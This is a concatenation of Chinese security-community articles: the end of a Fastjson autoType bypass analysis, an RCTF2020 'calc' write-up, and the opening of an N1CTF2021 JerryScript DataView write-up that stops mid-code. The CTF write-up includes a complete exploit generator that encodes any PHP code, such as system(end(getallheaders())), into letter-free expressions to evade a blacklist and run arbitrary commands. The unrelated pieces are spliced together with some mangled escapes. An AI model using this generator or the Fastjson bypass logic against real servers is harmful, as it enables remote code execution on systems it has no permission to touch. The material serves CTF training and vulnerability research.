if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
之后就是尝试从各种地方去获取class类
首先尝试从`TypeUtils`的`mappings`中获取对应类
里面原本就有一些类，而且后续会被当作已获取类的缓存使用
然后是尝试从`deserializers.findClass`中获取class类
这里面的类主要是在`ParserConfig.initDeserializers()`中被赋值的。
也就相当于这些特殊类也可以被无条件的反序列化
然后就是尝试从`typeMapping`中获取对应类，这其中默认的值为空，需要开发人员自行赋值。
之后就是类在白名单中时（但几乎不大可能），尝试自动去加载类。
最后，如果通过以上方式可以加载到类，则校验期望类，没有问题的话就直接返回对应的class。
所以其实到这里，依然还没有出现`SupportAutoType`的校验，但已经可以返回类了（但正常情况下返回的一般都是程序中预先设置好的一些类，还不存在动态加载）。
然后就是在没有开启`SupportAutoType`时，通过黑白名单去校验类，黑名单抛出异常，白名单加载类并返回。
之后的部分就是通过ASM的操作，去读取类是否有`JSONType`的注解（有注解的类一般都是开发自行写的JavaBean）
之后如果 开启了`SupportAutoType` 或者 有`JSONType`的注解 或者 存在期望类，则会直接去加载对应类
成功加载类之后，如果有注解，则加入`mapping`缓存并直接返回
如果是继承/实现了`ClassLoader`、`DataSource` 、`RowSet`这些类的话直接异常。
如果存在期望类，则需要加载的类是期望类的子类或实现，并直接返回，否则异常。
如果类指定了`JSONCreator`注解，并且开启了`SupportAutoType` 则抛出异常。
最后，校验了是否开启`SupportAutoType`，然后将类添加至`mapping`缓存，并返回对应类。
到此就是`checkAutoType`的校验与加载类的过程。
## 小结
可以看到虽然函数名是`checkAutoType`，但是其实这是一个校验与加载类的过程。
而且真正的`SupportAutoType`校验其实是被放到最后的，在这之前也存在许多加载类并返回类的地方，目的也就是一开始说的为了实现基础类的任意反序列化的feature。
这也就意味着需要通过逻辑来保证在这之前返回的类都是安全的，但也正是因为这个原因导致了autotype被逻辑绕过。
可以看到主要有如下种情况可以直接返回class
* `acceptHashCodes` 白名单
* `INTERNAL_WHITELIST_HASHCODES` 内部白名单
* `TypeUtils.mappings` mappings缓存
* `deserializers.findClass` 指定类
* `typeMapping.get` 默认为空
* `JsonType` 注解
* `exceptClass` 存在期望类
# 1.2.47的绕过
主要分析思路，这回的绕过主要靠的是`mappings`缓存的绕过
根据之前分析的流程可以知道，当`mappings`缓存中存在指定类时，可以直接返回并且不受`SupportAutoType`的校验。
在`TypeUtils.loadClass`中，如果参数中`cache`值为`true`时，则会在加载到类之后，将类加入`mappings`缓存
寻找所有调用了该函数，并且`cache`设置为`true`的只有它的重载函数，然后继续寻找调用了该重载的地方
可以看到除了`TypeUtils`中，还有`MiscCodec`中调用了该方法
这里的逻辑是当class是一个`java.lang.Class`类时，会去加载指定类（从而也就无意之间加入了`mappings`缓存）
而`java.lang.Class`同时也是个默认特殊类，可以直接反序列化。
因此就可以首先通过反序列化`java.lang.Class`指定恶意类，然后恶意类被加入`mappings`缓存后，第二次就可以直接从缓存中获取到恶意类，并进行反序列化。
# Throwable和1.2.68的绕过
这两个的绕过主要都是基于`exceptClass`期望类的feature特性。
之前分析的时候提到，期望类的功能主要是实现 继承了期望类的class能被反序列化出来（并且不受autotype影响）
但是默认情况下`exceptClass`这个参数是空的，也就不存在期望类的特性。所以主要关注在程序内部别的地方的调用。
全局搜索一下可以看到主要有`ThrowableDeserializer`和`JavaBeanDeserializer`两个类中有调用到。
先来说`ThrowableDeserializer`，它主要是对 `Throwable`异常类进行反序列化的。
在`ThrowableDeserializer`中可以根据第二个`@type`的值来获取具体类，并且传入指定期望类进行加载。
因此对一个异常类进行反序列化时，则可以依赖`exceptClass`期望类的特性去反序列化一个继承异常类的class。
但没有gadget时这也只能算作一个feature，本意也就是为了反序列化出异常类，并且异常类的限制其实比较苛刻。
其实一开始看浅蓝师傅发了这个之后，自己也关注到了`JavaBeanDeserializer`中的期望类调用，然后开始尝试看何种情况会调用`JavaBeanDeserializer`。
`ParserConfig.getDeserializer`中可以看到，其实`JavaBeanDeserializer`的优先级其实是最低的（通常情况下都是一些第三方类才会调用到这里）
当时就草草看了下一些默认的基础类发现貌似没有可以走到这部分逻辑的就没整了（然后就被打脸了）。
1.2.68的绕过主要靠的就是`AutoCloseable`类，恰好fastjson没有为它指定特定的deserializer，因此会走到最后的else条件，创建对应的`JavaBeanDeserializer`。并且它是默认在`mappings`缓存中的，可以无条件反序列化。
在`JavaBeanDeserializer`中也和之前一样，会根据第二个`@type`的值去获取对应的class
这里的`exceptClass`期望类也就是当前类`AutoCloseable`
而且相较于`Throwable`来说，`AutoCloseable`的范围则会大得多，常用的流操作、文件、socket之类的都继承了`AutoCloseable`接口。
之后的工作则是需要找一个gadget，但相较于1.2.47的绕过来说，`exceptClass`期望类的返回位置相对比较靠后。
因此会存在黑名单的校验与`ClassLoader`、`DataSource`、`RowSet`的校验。
也就意味着之前的gadget是都不能用了，要找一条新的基于`AutoCloseable`的gadget。
至于后面的利用`FieldDeserializer`去拓展gadget就不在这里展开说了。
# 最后
以我个人的分析来看，主要原因还是在于Fastjson为了维护最开始那些基础类的无限制反序列化的特性。
导致即使开发人员关闭了`SupportAutoType`属性，但并不能阻止所有反序列化的情况。
Fastjson内部也是通过逻辑来保证校验前的返回类不会出现恶意类的情况，但是当整个项目变大之后，相互之间的调用会使得逻辑变得复杂，从而也就出现了逻辑绕过。
一次次的绕过和修复，对研究人员的代码功底要求也比较高，这种相互之间的博弈也相当精彩，值得好好学习一番。
# 参考链接
1. <https://b1ue.cn/archives/382.html>
2. <https://b1ue.cn/archives/348.html>
* * * | 社区文章 |
# 从一道CTF题目中学习新的无字母webshell构造
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前几天的RCTF2020中，有一道web题calc考察的是构造无字母的shell，非常有学习意义，这里跟各位师傅分享一下。本人菜鸟一枚，文章中如有不对的地方，望各位师傅指出，勿喷~~~
## 题目分析
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[x7f-xff]', 's',"'", '"', '`', '[', ']','$', '_', '\\','^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>
题目只允许使用以下字符：
! # % & ( ) * + - / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ { | } ~
如何仅仅通过数字和一些可见字符，实现任意的php代码执行呢？这里运用到的，是关于 **`.`运算符的自动类型转换**。
## 关于点运算符的自动类型转换
我们来看下面的例子：
<?php
@var_dump(1.0);//float(1)
@var_dump((1).(0));//string(2) "10"
@var_dump(strval(1).strval(0));//string(2) "10"
?>
在第2行，如果我们没有对数字加括号，`php解析器`就会将其视为`float`类型数值。
在第3行，如果对数字加上括号，由于`运算符优先级规则`，此时就变成两个数字进行`.`运算，`php解析器`会把两个数字自动转换成`string`类型，效果相当于使用`strval`函数。
而且，该自动类型转换不仅仅限于数字，看下面的例子：
<?php
@var_dump(a.(100));//string(4) "a100"
@var_dump(a0a.(aaa));//string(6) "a0aaaa"
@var_dump(_.a_1);//string(4) "_a_1"
?>
可以看到，只要不是`php`中有特定功能的字符，都可以通过这种方法将其转换成`string`。显然，这是我们需要在解题中利用的点。
但问题又来了，题目过滤了字母和常用字符，我们应该如何构造它们呢？看下面的例子：
<?php
@var_dump((1/0).(0));//string(4) "INF0"
@var_dump((0/0).(0));//string(4) "NAN0"
@var_dump((9999999999*9999999999).(0));//string(16) "9.999999998E+190"
@var_dump((3333/4).(0));//string(7) "833.250"
@$N = (((1/0).(0)){0});//string(1) "I"
@$N = (((1/0).(0)){1});//string(1) "N"
@$N = (((1/0).(0)){2});//string(1) "F"
?>
我们这里利用`NAN`、`INF`等特殊的数值表示，通过`.`运算符将其转换成`string`。至于元素的提取，虽然题目过滤了`[]`，但是`php`还支持使用`{}`获取`Array`和`String`的元素。
通过这些特殊的数值表示，我们就有了一些`初始字符`，接下来就利用`& |
~`等没有被过滤的运算符，将需要的字符构造出来即可，这也是题目名`calc`的含义所在。
现在思路有了，接下来就愉快地拿flag吧！
## 做题过程
实现任意命令执行的方式有很多，我这里使用的是`system(end(getallheaders()))`，然后在http包首部的最后添加任意键值，即可实现任意命令执行。（该思路借鉴于Y1ng师傅，已征得同意进行分享）
运行根目录的`/readflag`，发现又是一道计算题，跟`*ctf2019-mywebsql`的一模一样，直接上脚本：
<?php
$d = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error.log", "a")
);
$cwd = "/";
$env = array();
$process = proc_open("/readflag", $d, $pipes, $cwd, $env);
if (is_resource($process))
{
$d = fread($pipes[1], 1024);
$d = fread($pipes[1], 1024);
$d = explode("n", $d);
eval("$result = $d[0];");
eval("$result = $d[0];");
fwrite($pipes[0] , "$resultn");
var_dump(fread($pipes[1],1024));
var_dump(fread($pipes[1],1024));
var_dump(fread($pipes[1],1024));
fclose($pipes[0]);
fclose($pipes[1]);
$r = proc_close($process);
echo "result $rn";
}
?>
尝试上传文件，发现似乎没有写权限。将php代码进行`base64编码`，然后`php -r`执行即可拿到flag。
## exp
这里分享一下exp给各位师傅，脚本中所有可见字符的计算式都已经构造出来，师傅们只要在104行的`$payload`中输入要构造的php代码即可。
<?php
error_reporting(0);
$_00 = '((0).(0)){0}&((0/0).(1)){1}';//0000 0000
$_10 = '((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))';//0001 0000
$_20 = '(((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1})';//0010 0000 space
$_21 = '(((1).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0001 !
$_22 = '(((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0010 "
$_23 = '(((3).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0011 //
$_24 = '(((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3})';//0010 0100 $
$_25 = '(((5).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0101 %
$_26 = '(((6).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0110 &
$_27 = '(((7).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 0111 '
$_28 = '(((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1000 (
$_29 = '(((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12})';//0010 1001 )
$_2a = '((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))|((((2).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1010 *
$_2b = '((9999999999*999999999).(0)){12}';//0010 1011 +
$_2c = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((8).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1100 ,
$_2d = '((((0/0).(1)){1}|((0).(4)){1})&(((3333/4).(0)){3}))|((((9).(0)){0})&(((3333/4).(0)){3}|((9999999999*999999999).(0)){12}))';//0010 1101 - $_2e = '((3333/4).(0)){3}';//0010 1110 .
$_2f = '((3333/4).(0)){3}|((9999999999*999999999).(0)){12}';//0010 1111 /
$_30 = '((0).(0)){0}';//0011 0000 0
$_31 = '((1).(0)){0}';//0011 0001 1
$_32 = '((2).(0)){0}';//0011 0010 2
$_33 = '((3).(0)){0}';//0011 0011 3
$_34 = '((4).(0)){0}';//0011 0100 4
$_35 = '((5).(0)){0}';//0011 0101 5
$_36 = '((6).(0)){0}';//0011 0110 6
$_37 = '((7).(0)){0}';//0011 0111 7
$_38 = '((8).(0)){0}';//0011 1000 8
$_39 = '((9).(0)){0}';//0011 1001 9
$_3a = '(((8).(0)){0})|(((2).(0)){0})';//0011 1010 :
$_3b = '(((8).(0)){0})|(((3).(0)){0})';//0011 1011 ;
$_3c = '(((8).(0)){0})|(((4).(0)){0})';//0011 1100 <
$_3d = '(((8).(0)){0})|(((5).(0)){0})';//0011 1101 =
$_3e = '(((8).(0)){0})|(((6).(0)){0})';//0011 1110 >
$_3f = '(((8).(0)){0})|(((7).(0)){0})';//0011 1111 ?
$_40 = '((0/0).(1)){1}&((0/0).(1)){0}';//0100 0000 @
$A = '((0/0).(1)){1}';//0100 0001 A
$B = '(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))';//0100 0010 B
$C = '((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))';//0100 0011 C
$D = '(((0/0).(1)){0}&((9999999999*999999999).(0)){11})';// 0100 0100 D
$E = '((9999999999*999999999).(0)){11}';//0100 0101 E
$F = '(((1/0).(0)){2})';//0100 0110 F
$G = '(((0/0).(1)){1})|(((1/0).(0)){2})';//0100 0111 G
$H = '((((1/0).(0)){0})&((0/0).(1)){0})';//0100 1000 H
$I = '(((1/0).(0)){0})';//0100 1001 I
$J = '((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1010 J
$K = '(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1011 K
$L = '((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1100 L
$M = '((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))';//0100 1101 M
$N = '((0/0).(1)){0}';//0100 1110 N
$O = '((0/0).(1)){1}|((0/0).(1)){0}';//0100 1111 O
$P = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}&((0/0).(1)){0})';//0101 0001 P
$Q = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1})';//0101 0001 Q
$R = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))';//0101 0010 R
$S = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0})))))';//0101 0011 S
$T = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){0}&((9999999999*999999999).(0)){11}))';//0101 0100 T
$U = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((9999999999*999999999).(0)){11})';//0101 0101 U
$V = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){2}))';//0101 0110 V
$W = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((0/0).(1)){1})|(((1/0).(0)){2}))';//0101 0111 W
$X = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((1/0).(0)){0})&((0/0).(1)){0}))';//0101 1000 X
$Y = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((1/0).(0)){0}))';//0101 1001 Y
$Z = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1010 Z
$_5b = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|(((((0/0).(1)){1})|((((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))&(((0/0).(1)){1}|((0/0).(1)){0}))))|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1011 [
$_5c = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1100
$_5d = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0}))))';//0101 1101 ]
$_5e = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){0})';//0101 1110 ^
$_5f = '(((((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~(((3333/4).(0)){3}|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})))|((0/0).(1)){1}|((0/0).(1)){0})';//0101 1111 _
$_60 = '(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 0000 `
$a = '(((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1}';//0110 0001 a
$b = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1})';//0110 0010 b
$c = '((((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))&(((0/0).(1)){1}|((0).(2)){1}))|((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0011 c
$d = '(((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0110 0100 d
$e = '((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11})';//0110 0101 e
$f = '(((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0110 f
$g = '(((0/0).(1)){1}|((0).(6)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 0111 g
$h = '(((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1000 h
$i = '(((0/0).(1)){1}|((0).(9)){1})&(((3333/4).(0)){3}|((0/0).(1)){1})';//0110 1001 i
$j = '(((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0110 1010 j
$k = '((9999999999*999999999).(0)){12}|((0/0).(1)){1}';//0110 1011 k
$l = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|((((3333/4).(0)){3}|((0/0).(1)){1})&(((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))))';//0110 1100 l
$m = '((((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))&(((3333/4).(0)){3}|((0/0).(1)){1}))|(((((0).(0)){0}|((0/0).(1)){1})&((3333/4).(0)){3}|((0/0).(1)){1})|(((9999999999*999999999).(0)){11}))';//0110 1101 m
$n = '((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})';//0110 1110 n
$o = '((3333/4).(0)){3}|((0/0).(1)){1}';//0110 1111 o
$p = '((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0000 p
$q = '((0).(0)){0}|((0/0).(1)){1}';//0111 0001 q
$r = '((2).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0010 r
$s = '((0/0).(1)){1}|((0).(2)){1}';//0111 0011
$t = '((4).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0100 t
$u = '((0/0).(1)){1}|((0).(4)){1}';//0111 0101
$v = '((6).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 0110 v
$w = '((0/0).(1)){1}|((0).(6)){1}';//0111 0111
$x = '((8).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0}))';//0111 1000 x
$y = '((0/0).(1)){1}|((0).(9)){1}';//0111 1001
$z = '((((9999999999*999999999).(0)){12}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))|(((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1010 z
$_7b = '(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&((4).(0)){0}';//0111 1011 {
$_7c = '(((((0/0).(1)){0}&((9999999999*999999999).(0)){11})|(((((1/0).(0)){0})&((0/0).(1)){0})))|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1100 |
$_7d = '((1).(2)){1}|((1/0).(0)){0}';//0111 1101 }
$_7e = '(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})|((0).(0)){0}|(((0).(0)){0}|((0/0).(1)){1})&(((((3333/4).(0)){3})&(((0).(0)){0}|((0/0).(1)){1}))|(((0/0).(1)){0})))';//0111 1110 ~
$_7f = '(((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1}';//0111 1111 7f
$_80 = '(((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&~((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))|(~((((0/0).(1)){1}|((0).(9)){1})|((0).(6)){1})&((~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}))';//1000 0000
$_ff = '(~(((0/0).(1)){1}&((0/0).(1)){0}))|((0/0).(1)){1}';//1111 1111 ff
$payload = 'system(end(getallheaders()))';
$result = "";
$flag = True;
for($aa = 0;$aa < strlen($payload);$aa++){
if(ord($payload[$aa])>=ord('a') && ord($payload[$aa])<=ord('z')){
if($flag === True){
$flag = False;
$result .= "(";
}
$result .= "((${$payload[$aa]})).";
}
elseif($payload[$aa] === "(" or $payload[$aa] === ")"){
if($flag === False){
$result = substr($result, 0, strlen($result)-1) . ")";
$flag = True;
}
if($result[strlen($result)-1] === "."){
$result = substr($result, 0, strlen($result)-1) . $payload[$aa];
}
else{
$result .= $payload[$aa];
}
}
else{
if($flag === False){
$result = substr($result, 0, strlen($result)-1) . ")";
$flag = True;
}
$tmp = "_".strval(dechex(ord($payload[$aa])));
$result .= "((${$tmp})).";
}
}
if ($result[strlen($result)-1] !== ")"){
$result = substr($result, 0, strlen($result)-1);
}
$result .= ";";
echo urlencode($result);
?> | 社区文章 |
# N1CTF2021 Jerry WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上周我和队友们打了场N1CTF，最终取得第二名的成绩。这里是我解决的一个challenge，很可惜这题调远程的时候二血变成了三血。
## 环境准备
### Bindiff
#### 安装
在
[https://www.zynamics.com/software.html找到自己IDA对应的版本，比如我是7.6的IDA](https://www.zynamics.com/software.html%E6%89%BE%E5%88%B0%E8%87%AA%E5%B7%B1IDA%E5%AF%B9%E5%BA%94%E7%9A%84%E7%89%88%E6%9C%AC%EF%BC%8C%E6%AF%94%E5%A6%82%E6%88%91%E6%98%AF7.6%E7%9A%84IDA)
，我就下Bindiff7 而不是最上面那个lastest版本的，7.5也可以用7，以下就用6就行。
## 前置知识
### DataView Object
#if JERRY_BUILTIN_DATAVIEW
/**
* Description of DataView objects.
*/
typedef struct
{
ecma_extended_object_t header; /**< header part */
ecma_object_t *buffer_p; /**< [[ViewedArrayBuffer]] internal slot */
uint32_t byte_offset; /**< [[ByteOffset]] internal slot */
} ecma_dataview_object_t;
#endif /* JERRY_BUILTIN_DATAVIEW */
1. 一个DataView对象由以上部分构成。包括一个header，一个buffer_p，一个byte_offset。
2. 对DataView的Parse，通过一个Routine去实现的包含一个Switch判断一些操作然后设置对应的Flag，最终在通过一个函数—ecma_op_dataview_get_set_view_value 去实现。比如Set和Get。
ecma_value_t
ecma_builtin_dataview_prototype_dispatch_routine (uint8_t builtin_routine_id, /**< built-in wide routine identifier */
ecma_value_t this_arg, /**< 'this' argument value */
const ecma_value_t arguments_list_p[], /**< list of arguments
* passed to routine */
uint32_t arguments_number) /**< length of arguments' list */
{
ecma_value_t byte_offset = arguments_number > 0 ? arguments_list_p[0] : ECMA_VALUE_UNDEFINED;
switch (builtin_routine_id)
{
case ECMA_DATAVIEW_PROTOTYPE_BUFFER_GETTER:
case ECMA_DATAVIEW_PROTOTYPE_BYTE_LENGTH_GETTER:
